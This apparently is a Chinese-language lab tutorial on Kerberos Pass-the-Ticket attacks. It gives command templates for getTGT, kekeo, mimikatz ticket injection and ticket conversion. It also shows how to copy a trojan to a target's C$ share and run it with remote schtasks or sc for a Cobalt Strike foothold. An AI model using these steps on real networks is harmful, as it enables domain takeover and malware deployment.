一. PTT票据传递攻击原理
1.PTT介绍
PTT(Pass The Ticket),中文叫票据传递攻击,PTT 攻击只能用于kerberos认证中,NTLM认证中没有, PTT是通过票据进行认证的。
进行票据传递,不需要提权,域用户或者system用户就可以
在认证的过程中主要涉及2个票据:
TGT
ST
2.如何得到TGT和ST
通过域账号明文密码
通过域账号的NTLM-HASH
通过域账号的ASE
直接伪造
通过系统漏洞
二. PTT攻击的利用条件
1.进行PTT传递认证的条件
必须是域环境,域内才可以PTT
必须拥有相应的票据(主要是域管理员票据)
2.不同权限下票据传递的结果
-
第一步:利用getTGT工具申请不同用户的票据
域管用户(administrator),域内普通管理员(LEE),域内普通用户(test)
getTGT.exe 域名/用户名:秘密(hash值)
-
第二步:利用mimikatz进行票据传递
命令: kerberos::ptc ccache文件 将票据注入内存中 klist(cmd),kerberos::list(mimikatz) 查看票据列表 klist purge(cmd),kerberos::purge(mimikatz) 清除本地票据
域管用户(administrator)
进行传递
DC(server 2012)
TWO-PC(server 2008)
FOUR-PC(server 2003)
查看票据
域内普通管理员(LEE)
进行传递
查看票据
域内普通用户(test)
进行传递
查看票据
总结
只有域管administrator和普通管理员的票据有权限进行PTT票据传递,而普通用户不行!
三. ccache和kirbi票据转换
不同的工具生成的票据后缀不一样常见的有两种Ccache和Kirbi,类似于压缩包rar和zip都是压缩文件
比如:getTgt生成的是Ccache, Kekeo生成Kirbi
1.使用kekeo生成票据
命令:Tgt::ask /user:域用户 /domain:域名 /password:密码
Gettgt命令 域名/域用户:密码
使用mimikatz打入内存中
这里文件后缀不同,要选择相应的方式
2.票据格式转换
后续我们的实验中不管生成哪种,都可以使用mimikatz进行传递
Kerberos::ptt
Kerberos::ptc
当然两种票据也可以相互转化使用ticketConverter.exe
命令: ticketConverter.exe xxx.ccache xxx.kirbi
四. 使用PTT进行CS上线
将票据导入内存中通信后
其实接下来和之前的步骤一样,先将木马copy到对方C盘
copy 木马 \\目标ip或者域名\C$
可以采用计划任务或者是服务的方式运行木马
计划任务
创建计划任务
schtasks /create /s IP /u 用户名 /p 密码 /tn 计划任务名称 /tr 实施任务 /sc onstart /RU system /F
运行计划任务
schtasks /run /s IP地址 /u username /p password /i /tn "计划任务名称"
删除计划任务
schtasks /delete /s IP地址 /u username /p password /tn ""计划任务名称" /f
服务
创建服务
sc \\IP地址 create 服务名称 binpath="服务执行内容"
开启服务
sc \\IP地址 start 服务名称
删除服务
sc \\IP地址 delete 服务名称
总结
- PTH:用NTLM-HASH值进行认证-支持kerberos和NTLM认证
- PTK:用AES值进行认证-只能用于kerberos认证
- PTT:用票据进行认证-只能用于kerberos认证